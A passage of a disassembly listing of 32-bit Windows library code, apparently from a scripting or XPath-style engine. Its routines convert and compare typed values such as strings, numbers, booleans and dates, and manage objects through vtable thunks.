sub_69B65227 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6527E proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pdateOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push esi
push edi
push 0 ; int
lea edx, [ebp+pdateOut]
push edx ; pdateOut
push 12h ; int
push ecx ; int
push eax ; int
call sub_69B2FF1E
mov edi, [ebp+arg_4]
mov ecx, edi
mov esi, eax
call sub_69B466CC
test esi, esi
jnz short loc_69B652BC
fld [ebp+pdateOut]
mov dword ptr [edi], 4
fstp qword ptr [edi+8]
loc_69B652BC: ; CODE XREF: sub_69B6527E+30j
pop edi
pop esi
leave
retn 8
sub_69B6527E endp
; =============== S U B R O U T I N E =======================================
sub_69B652C2 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [eax+8]
mov eax, [ecx]
push ebx
push esi
call dword ptr [eax+3Ch]
mov esi, [esp+8+arg_4]
mov ebx, eax
neg ebx
sbb bl, bl
mov ecx, esi
inc bl
call sub_69B466CC
test bl, bl
setz al
nop
mov dword ptr [esi], 1
mov [esi+8], al
pop esi
pop ebx
retn 8
sub_69B652C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B652F7 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [eax+8]
mov eax, [ecx]
push esi
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B65317
mov edx, [eax]
push 0
push 4
mov ecx, eax
call dword ptr [edx+4Ch]
mov esi, eax
jmp short loc_69B6531C
; ---------------------------------------------------------------------------
loc_69B65317: ; CODE XREF: sub_69B652F7+Fj
mov esi, offset off_69B1A5AC
loc_69B6531C: ; CODE XREF: sub_69B652F7+1Ej
mov ecx, [esp+4+arg_4]
call sub_69B466CC
mov ecx, [esp+4+arg_4]
push esi
call sub_69B48684
pop esi
retn 8
sub_69B652F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65333 proc near ; CODE XREF: sub_69B4ADB4+B4p
; sub_69B65541+33p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_0]
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push esi
call sub_69B642AB
test eax, eax
jz short loc_69B65362
mov eax, [ebp+arg_8]
and esi, 7
lea eax, [eax+esi*2]
add eax, esi
mov eax, dword_69B9A044[eax*4]
jmp short loc_69B65365
; ---------------------------------------------------------------------------
loc_69B65362: ; CODE XREF: sub_69B65333+19j
or eax, 0FFFFFFFFh
loc_69B65365: ; CODE XREF: sub_69B65333+2Dj
pop esi
pop ebp
retn 0Ch
sub_69B65333 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6536A proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
test [ebp+arg_0], 20h
jz short loc_69B65379
pop ebp
jmp sub_69B6496E
; ---------------------------------------------------------------------------
loc_69B65379: ; CODE XREF: sub_69B6536A+7j
mov eax, [ebp+arg_8]
mov eax, [eax+8]
mov ecx, [ebp+arg_4]
mov eax, [eax+0Ch]
mov ecx, [ecx+8]
mov ecx, [ecx+0Ch]
push eax
push ecx
call sub_69B84A8E
pop ecx
pop ecx
mov ecx, [ebp+arg_C]
mov [ecx], eax
xor eax, eax
inc eax
pop ebp
retn 10h
sub_69B6536A endp
; =============== S U B R O U T I N E =======================================
sub_69B653A0 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B652F7
push [esp+arg_4]
push [esp+4+arg_4]
call sub_69B651D1
retn 8
sub_69B653A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B653BD proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B652F7
push [esp+arg_4]
push [esp+4+arg_4]
call sub_69B65227
retn 8
sub_69B653BD endp
; =============== S U B R O U T I N E =======================================
sub_69B653DA proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B652F7
push [esp+arg_4]
push [esp+4+arg_4]
call sub_69B6527E
retn 8
sub_69B653DA endp
; =============== S U B R O U T I N E =======================================
sub_69B653F7 proc near ; CODE XREF: sub_69B65495+3p
; sub_69B65615+17j ...
push esi
mov esi, ecx
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B653F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B65410 proc near ; CODE XREF: sub_69B65539+3j
; DATA XREF: .text:69B154F4o
mov eax, offset off_69B65418
retn
sub_69B65410 endp
; ---------------------------------------------------------------------------
align 4
off_69B65418 dd offset off_69B29C74 ; DATA XREF: sub_69B65410o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B65420 proc near ; DATA XREF: .text:69B154B8o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
lea ecx, [esi+8]
cmp eax, [ecx]
jz short loc_69B65438
push dword ptr [esi+4]
push ecx
push eax
call sub_69B64008
loc_69B65438: ; CODE XREF: sub_69B65420+Cj
lea eax, [esi-8]
neg eax
sbb eax, eax
and eax, esi
pop esi
retn 4
sub_69B65420 endp
; =============== S U B R O U T I N E =======================================
sub_69B65445 proc near ; CODE XREF: sub_69B655E3-501A0p
; sub_69B6589E-50383p ...
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [esi], offset off_69B19780
mov dword ptr [edi], offset off_69B12BC0
push dwTlsIndex
call dword_69B92970
mov eax, [eax+1Ch]
mov [esi+0Ch], eax
pop edi
mov eax, esi
pop esi
retn
sub_69B65445 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame thunk
sub_69B6547B proc near ; DATA XREF: .text:off_69B12D18o
; .text:off_69B12E60o ...
jmp sub_69B2D67E
sub_69B6547B endp
; =============== S U B R O U T I N E =======================================
sub_69B65480 proc near ; DATA XREF: .text:69B12BE8o
; .text:69B12CE0o ...
sub ecx, 8
jmp sub_69B6C84F
sub_69B65480 endp
; ---------------------------------------------------------------------------
loc_69B65488: ; DATA XREF: .text:69B12BCCo
sub ecx, 8
jmp short sub_69B65495
; ---------------------------------------------------------------------------
loc_69B6548D: ; DATA XREF: .text:69B12BDCo
sub ecx, 8
jmp sub_69B6C79F
; =============== S U B R O U T I N E =======================================
sub_69B65495 proc near ; CODE XREF: .text:69B6548Bj
; DATA XREF: .text:69B1978Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B653F7
test [esp+4+arg_0], 1
jz short loc_69B654AA
push esi
call sub_69B1829F
loc_69B654AA: ; CODE XREF: sub_69B65495+Dj
mov eax, esi
pop esi
retn 4
sub_69B65495 endp
; =============== S U B R O U T I N E =======================================
sub_69B654B0 proc near ; DATA XREF: .text:69B154CCo
arg_C = dword ptr 10h
add ecx, 8
push ecx
mov ecx, [esp+4+arg_C]
call sub_69B64999
retn 10h
sub_69B654B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B654C0 proc near ; DATA XREF: .text:69B15510o
mov eax, [ecx+10h]
cmp eax, 1
jz short loc_69B654E6
jle short loc_69B654E0
cmp eax, 3
jle short loc_69B654DA
cmp eax, 4
jnz short loc_69B654E0
mov eax, dword_69B9B370
retn
; ---------------------------------------------------------------------------
loc_69B654DA: ; CODE XREF: sub_69B654C0+Dj
mov eax, dword_69B9B378
retn
; ---------------------------------------------------------------------------
loc_69B654E0: ; CODE XREF: sub_69B654C0+8j
; sub_69B654C0+12j
mov eax, dword_69B9B380
retn
; ---------------------------------------------------------------------------
loc_69B654E6: ; CODE XREF: sub_69B654C0+6j
mov eax, dword_69B9B368
retn
sub_69B654C0 endp
; =============== S U B R O U T I N E =======================================
sub_69B654EC proc near ; DATA XREF: .text:69B15514o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [ecx+20h]
push 1
push ecx
mov ecx, [esp+8+arg_0]
push 0
push 0
push 1
call sub_69B3D2F2
mov ecx, [esp+arg_4]
mov edx, [ecx]
push 0
push eax
call dword ptr [edx+7Ch]
retn 8
sub_69B654EC endp
; =============== S U B R O U T I N E =======================================
sub_69B65510 proc near ; DATA XREF: .text:69B154C4o
push esi
push edi
mov esi, ecx
call sub_69B6C803
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
cmp eax, 3
mov eax, edi
jnz short loc_69B6552E
and eax, 0FFFFFDFFh
loc_69B6552E: ; CODE XREF: sub_69B65510+17j
pop edi
pop esi
retn
sub_69B65510 endp
; =============== S U B R O U T I N E =======================================
sub_69B65531 proc near ; DATA XREF: .text:69B15484o
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B655FA
sub_69B65531 endp
; =============== S U B R O U T I N E =======================================
sub_69B65539 proc near ; DATA XREF: .text:69B15494o
sub ecx, 8
jmp sub_69B65410
sub_69B65539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65541 proc near ; DATA XREF: .text:69B154D0o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
lea edx, [ebp+var_10]
push edx
push [ebp+arg_C]
mov esi, ecx
push [ebp+arg_8]
mov ecx, [ebp+arg_10]
push [ebp+arg_0]
mov eax, [ecx]
mov [ebp+var_C], 0
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
lea ecx, [esi+8]
call sub_69B65333
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 14h
sub_69B65541 endp
; =============== S U B R O U T I N E =======================================
sub_69B6558A proc near ; CODE XREF: sub_69B655DE+3j
; DATA XREF: .text:69B1550Co
push 0
add ecx, 20h
push ecx
call sub_69B17320
retn
sub_69B6558A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65596 proc near ; DATA XREF: .text:69B154C8o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ecx+4]
and [ebp+var_10], 0
cmp eax, 2
push esi
mov [ebp+var_C], 0
jnz short loc_69B655B1
xor esi, esi
jmp short loc_69B655CF
; ---------------------------------------------------------------------------
loc_69B655B1: ; CODE XREF: sub_69B65596+15j
push eax
lea eax, [ebp+var_10]
push eax
push 1
add ecx, 8
call sub_69B64008
cmp [ebp+var_10], 1
jz short loc_69B655CB
or esi, 0FFFFFFFFh
jmp short loc_69B655CF
; ---------------------------------------------------------------------------
loc_69B655CB: ; CODE XREF: sub_69B65596+2Ej
movzx esi, [ebp+var_8]
loc_69B655CF: ; CODE XREF: sub_69B65596+19j
; sub_69B65596+33j
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B65596 endp
; =============== S U B R O U T I N E =======================================
sub_69B655DE proc near ; DATA XREF: .text:69B154ACo
sub ecx, 8
jmp short sub_69B6558A
sub_69B655DE endp
; =============== S U B R O U T I N E =======================================
sub_69B655E3 proc near ; CODE XREF: sub_69B65631+5p
; sub_69B6564F+4p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B15440 SIZE 00000033 BYTES
push 28h
call sub_69B17EF3
test eax, eax
jz short loc_69B655F5
mov ecx, eax
jmp loc_69B15440
; ---------------------------------------------------------------------------
loc_69B655F5: ; CODE XREF: sub_69B655E3+9j
xor eax, eax
retn 4
sub_69B655E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B655FA proc near ; CODE XREF: sub_69B65531+3j
; DATA XREF: .text:69B154E4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B65615
test [esp+4+arg_0], 1
jz short loc_69B6560F
push esi
call sub_69B1829F
loc_69B6560F: ; CODE XREF: sub_69B655FA+Dj
mov eax, esi
pop esi
retn 4
sub_69B655FA endp
; =============== S U B R O U T I N E =======================================
sub_69B65615 proc near ; CODE XREF: sub_69B655FA+3p
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
call sub_69B17230
lea ecx, [esi+10h]
call sub_69B466CC
mov ecx, esi
pop esi
jmp sub_69B653F7
sub_69B65615 endp
; =============== S U B R O U T I N E =======================================
sub_69B65631 proc near ; CODE XREF: sub_69B5EAA0+29p
; sub_69B5F23C+79p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
call sub_69B655E3
push [esp+4+arg_0]
mov esi, eax
lea ecx, [esi+10h]
call sub_69B48684
mov eax, esi
pop esi
retn 4
sub_69B65631 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B6564F(int, double)
sub_69B6564F proc near ; CODE XREF: sub_69B5F498+29Dp
; sub_69B62D8D+8Ep
arg_0 = dword ptr 4
arg_4 = qword ptr 8
push [esp+arg_0]
call sub_69B655E3
fld [esp+arg_4]
fstp qword ptr [eax+18h]
mov dword ptr [eax+10h], 3
retn 0Ch
sub_69B6564F endp
; =============== S U B R O U T I N E =======================================
sub_69B65669 proc near ; CODE XREF: sub_69B5F498:loc_69B5F4E2p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call sub_69B655E3
mov cl, [esp+arg_4]
mov dword ptr [eax+10h], 1
mov [eax+18h], cl
retn 8
sub_69B65669 endp
; =============== S U B R O U T I N E =======================================
sub_69B65683 proc near ; CODE XREF: sub_69B65694+3j
; DATA XREF: .text:69B155C4o
mov eax, offset off_69B6568C
retn
sub_69B65683 endp
; ---------------------------------------------------------------------------
align 4
off_69B6568C dd offset off_69B29C74 ; DATA XREF: sub_69B65683o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B65694 proc near ; DATA XREF: .text:69B15564o
sub ecx, 8
jmp short sub_69B65683
sub_69B65694 endp
; =============== S U B R O U T I N E =======================================
sub_69B65699 proc near ; DATA XREF: .text:69B15594o
mov ecx, [ecx+8]
xor eax, eax
test ecx, ecx
jz short locret_69B656A7
mov eax, [ecx]
jmp dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------
locret_69B656A7: ; CODE XREF: sub_69B65699+7j
retn
sub_69B65699 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B656A8 proc near ; DATA XREF: .text:69B1559Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, [esi+8]
test ecx, ecx
jz short loc_69B656CB
push [ebp+arg_C]
mov eax, [ecx]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
jmp short loc_69B656E2
; ---------------------------------------------------------------------------
loc_69B656CB: ; CODE XREF: sub_69B656A8+Bj
mov ecx, [ebp+arg_8]
mov eax, [ecx]
push 0
push 4
call dword ptr [eax+4Ch]
mov ecx, [ebp+arg_C]
push eax
call sub_69B48684
push 1
loc_69B656E2: ; CODE XREF: sub_69B656A8+21j
push [ebp+arg_C]
mov ecx, [ebp+arg_C]
push dword ptr [esi+0Ch]
call sub_69B64008
pop esi
pop ebp
retn 10h
sub_69B656A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B656F5 proc near ; DATA XREF: .text:69B155A0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
push esi
mov esi, ecx
lea ecx, [ebp+var_20]
push ecx
push [ebp+arg_C]
xor eax, eax
push [ebp+arg_8]
mov [ebp+var_20], eax
push [ebp+arg_0]
mov [ebp+var_1C], al
mov [ebp+var_10], eax
mov [ebp+var_C], al
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+54h]
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_10]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
lea ecx, [ebp+var_20]
call sub_69B65333
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 14h
sub_69B656F5 endp
; =============== S U B R O U T I N E =======================================
sub_69B65760 proc near ; CODE XREF: sub_69B67765+3j
; DATA XREF: .text:69B155DCo ...
push 0
add ecx, 10h
push ecx
call sub_69B17320
retn
sub_69B65760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6576C proc near ; DATA XREF: .text:69B15598o
; .text:69B15670o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
mov esi, ecx
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
mov [ebp+var_C], 0
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push 1
lea ecx, [ebp+var_10]
call sub_69B64008
cmp [ebp+var_10], 1
jz short loc_69B657AD
or esi, 0FFFFFFFFh
jmp short loc_69B657B1
; ---------------------------------------------------------------------------
loc_69B657AD: ; CODE XREF: sub_69B6576C+3Aj
movzx esi, [ebp+var_8]
loc_69B657B1: ; CODE XREF: sub_69B6576C+3Fj
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B6576C endp
; =============== S U B R O U T I N E =======================================
sub_69B657C0 proc near ; DATA XREF: .text:69B155E4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi+14h]
dec eax
push edi
mov edi, [esp+8+arg_4]
jz short loc_69B657E4
dec eax
dec eax
jz short loc_69B657DD
dec eax
dec eax
jnz short loc_69B657FC
mov eax, offset off_69B65818
jmp short loc_69B657E9
; ---------------------------------------------------------------------------
loc_69B657DD: ; CODE XREF: sub_69B657C0+10j
mov eax, offset off_69B65828
jmp short loc_69B657E9
; ---------------------------------------------------------------------------
loc_69B657E4: ; CODE XREF: sub_69B657C0+Cj
mov eax, offset off_69B65838
loc_69B657E9: ; CODE XREF: sub_69B657C0+1Bj
; sub_69B657C0+22j
mov edx, [edi]
push eax
mov eax, dword_69B9B308
push dword ptr [eax+8]
mov ecx, edi
call dword ptr [edx+0ACh]
loc_69B657FC: ; CODE XREF: sub_69B657C0+14j
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B6580D
mov eax, [ecx]
push edi
push [esp+0Ch+arg_0]
call dword ptr [eax+5Ch]
loc_69B6580D: ; CODE XREF: sub_69B657C0+41j
pop edi
pop esi
retn 8
sub_69B657C0 endp
; ---------------------------------------------------------------------------
align 8
off_69B65818 dd offset off_69B17D10 ; DATA XREF: sub_69B657C0+16o
align 10h
dd 6
dd offset aString_2 ; "string"
off_69B65828 dd offset off_69B17D10 ; DATA XREF: sub_69B657C0:loc_69B657DDo
align 10h
dd 6
dd offset aNumber_2 ; "number"
off_69B65838 dd offset off_69B17D10 ; DATA XREF: sub_69B657C0:loc_69B657E4o
align 10h
dd 7
dd offset aBoolean_0 ; "boolean"
aString_2: ; DATA XREF: .text:69B65824o
unicode 0, <string>,0
align 4
aNumber_2: ; DATA XREF: .text:69B65834o
unicode 0, <number>,0
align 4
aBoolean_0: ; DATA XREF: .text:69B65844o
unicode 0, <boolean>,0
; =============== S U B R O U T I N E =======================================
sub_69B65878 proc near ; CODE XREF: sub_69B6DD7B+3j
; DATA XREF: .text:69B155B4o ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B653F7
test [esp+4+arg_0], 1
jz short loc_69B65898
push esi
call sub_69B1829F
loc_69B65898: ; CODE XREF: sub_69B65878+18j
mov eax, esi
pop esi
retn 4
sub_69B65878 endp
; =============== S U B R O U T I N E =======================================
sub_69B6589E proc near ; CODE XREF: sub_69B5ECB6+6Ep
; sub_69B6C7A5+22p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B15518 SIZE 0000002E BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B658B0
mov ecx, eax
jmp loc_69B15518
; ---------------------------------------------------------------------------
loc_69B658B0: ; CODE XREF: sub_69B6589E+9j
xor eax, eax
retn 8
sub_69B6589E endp
; =============== S U B R O U T I N E =======================================
sub_69B658B5 proc near ; CODE XREF: sub_69B65DC3+3j
; .text:69B65DD6j
; DATA XREF: ...
mov eax, offset off_69B658BC
retn
sub_69B658B5 endp
; ---------------------------------------------------------------------------
align 4
off_69B658BC dd offset off_69B29710 ; DATA XREF: sub_69B658B5o
dd offset sub_69B65E0F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B658C4 proc near ; DATA XREF: .text:69B12DC8o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
test byte ptr [ecx+48h], 2
jz short loc_69B658EC
lea eax, [ebp+arg_0]
push eax
push 0
push dword ptr [ecx+4Ch]
add ecx, 34h
call sub_69B6D544
push [ebp+arg_0]
push 0
call sub_69B6D2B6
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_69B658EC: ; CODE XREF: sub_69B658C4+7j
pop ebp
jmp sub_69B6D410
sub_69B658C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B658F2 proc near ; DATA XREF: .text:69B12EA8o
arg_0 = dword ptr 4
test byte ptr [ecx+58h], 2
jz sub_69B66614
mov eax, [esp+arg_0]
retn 4
sub_69B658F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B65903 proc near ; CODE XREF: sub_69B66021+39p
; sub_69B6618B+11Cp ...
push esi
mov esi, ecx
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B65922
mov eax, [esi+30h]
shr eax, 3
not al
test al, 1
jz short loc_69B65922
mov eax, [ecx]
call dword ptr [eax+40h]
or dword ptr [esi+30h], 8
loc_69B65922: ; CODE XREF: sub_69B65903+8j
; sub_69B65903+14j
pop esi
retn
sub_69B65903 endp
; =============== S U B R O U T I N E =======================================
sub_69B65924 proc near ; DATA XREF: .text:69B12DB0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+44h]
push [esp+4+arg_8]
mov ecx, esi
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B66505
mov ecx, [esi+28h]
and dword ptr [esi+48h], 0FFFFFFFDh
test ecx, ecx
jz short loc_69B6597A
cmp dword ptr [esi+4], 0
jz short loc_69B6597A
mov eax, [ecx]
push ebx
call dword ptr [eax+94h]
mov ecx, [esi+4]
mov bl, al
mov eax, [ecx]
call dword ptr [eax+94h]
movzx eax, al
movzx ecx, bl
or eax, ecx
shl eax, 1
xor eax, [esi+48h]
pop ebx
and eax, 2
xor [esi+48h], eax
loc_69B6597A: ; CODE XREF: sub_69B65924+24j
; sub_69B65924+2Aj
pop esi
retn 0Ch
sub_69B65924 endp
; =============== S U B R O U T I N E =======================================
sub_69B6597E proc near ; DATA XREF: .text:69B12EA0o
push esi
mov esi, ecx
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B659B5
mov eax, [ecx]
push edi
call dword ptr [eax+3Ch]
cmp dword ptr [esi+0Ch], 2
mov edi, eax
jnz short loc_69B659AC
mov ecx, [esi+14h]
mov eax, [ecx]
push 0
push dword ptr [esi+18h]
call dword ptr [eax+54h]
cmp eax, [esi+2Ch]
jnb short loc_69B659AC
and dword ptr [esi+2Ch], 0
loc_69B659AC: ; CODE XREF: sub_69B6597E+16j
; sub_69B6597E+28j
and dword ptr [esi+30h], 0FFFFFFF7h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B659B5: ; CODE XREF: sub_69B6597E+8j
xor eax, eax
pop esi
retn
sub_69B6597E endp
; =============== S U B R O U T I N E =======================================
sub_69B659B9 proc near ; DATA XREF: .text:69B12E98o
mov eax, dword_69B9B3F0
retn
sub_69B659B9 endp
; =============== S U B R O U T I N E =======================================
sub_69B659BF proc near ; DATA XREF: .text:69B12EACo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
mov ecx, [esi+40h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+5Ch]
cmp dword ptr [esi+38h], 0
jz short loc_69B659E7
push [esp+4+arg_4]
mov ecx, esi
push [esp+8+arg_0]
call sub_69B666EB
loc_69B659E7: ; CODE XREF: sub_69B659BF+17j
pop esi
retn 8
sub_69B659BF endp
; =============== S U B R O U T I N E =======================================
sub_69B659EB proc near ; CODE XREF: sub_69B65D51+Dp
; sub_69B65DEB+1Bp ...
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
push 0
lea eax, [esi+4]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
and dword ptr [esi+8], 0
and dword ptr [esi+10h], 0FFFFFFFEh
pop esi
retn
sub_69B659EB endp
; =============== S U B R O U T I N E =======================================
sub_69B65A16 proc near ; CODE XREF: sub_69B65D67+3p
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
push 0
lea eax, [esi+4]
push eax
call sub_69B17320
push 0
add esi, 0Ch
push esi
call sub_69B17320
pop esi
retn
sub_69B65A16 endp
; =============== S U B R O U T I N E =======================================
sub_69B65A39 proc near ; CODE XREF: sub_69B65DDB+3j
; sub_69B65DE3+3j
; DATA XREF: ...
push esi
mov esi, ecx
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B66701
sub_69B65A39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65A4F proc near ; CODE XREF: sub_69B65E77+3Ap
; sub_69B65EE0+1Bp ...
var_2C = qword ptr -2Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov esi, ecx
test byte ptr [esi+0Ch], 1
mov ecx, [esi+40h]
jnz short loc_69B65A7A
push [ebp+arg_8]
mov eax, [ecx]
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+50h]
dec eax
neg eax
sbb eax, eax
inc eax
jmp loc_69B65B30
; ---------------------------------------------------------------------------
loc_69B65A7A: ; CODE XREF: sub_69B65A4F+10j
push ebx
push edi
mov edi, [ebp+arg_4]
lea edx, [ebp+var_18]
push edx
push [ebp+arg_8]
xor ebx, ebx
push edi
push [ebp+arg_0]
mov [ebp+var_18], ebx
mov [ebp+var_14], bl
mov eax, [ecx]
call dword ptr [eax+54h]
cmp [ebp+var_18], ebx
jz loc_69B65B24
cmp [ebp+var_18], 3
jz short loc_69B65AC1
push dword ptr [esi+0Ch]
lea eax, [ebp+var_18]
push eax
push 1
lea ecx, [ebp+var_18]
call sub_69B64008
cmp [ebp+var_18], ebx
jz short loc_69B65B18
mov bl, byte ptr [ebp+var_10]
jmp short loc_69B65B18
; ---------------------------------------------------------------------------
loc_69B65AC1: ; CODE XREF: sub_69B65A4F+55j
fld [ebp+var_10]
push ecx
fstp [ebp+var_8]
push ecx ; double
fld [ebp+var_10]
fstp [esp+2Ch+var_2C]
call sub_69B84BCE
cmp eax, 1
pop ecx
pop ecx
jz short loc_69B65B18
cmp eax, 2
jz short loc_69B65B18
cmp eax, 4
jz short loc_69B65B18
cmp eax, 200h
jz short loc_69B65B18
push [ebp+arg_8]
mov eax, [edi]
push [ebp+arg_0]
mov ecx, edi
call dword ptr [eax+54h]
fld [ebp+var_8]
push ecx
inc eax
push ecx ; double
fstp [esp+2Ch+var_2C]
mov [ebp+arg_8], eax
call sub_69B63D7C
fild [ebp+arg_8]
fcompp st(1), st
fnstsw ax
test ah, 44h
jp short loc_69B65B18
mov bl, 1
loc_69B65B18: ; CODE XREF: sub_69B65A4F+6Bj
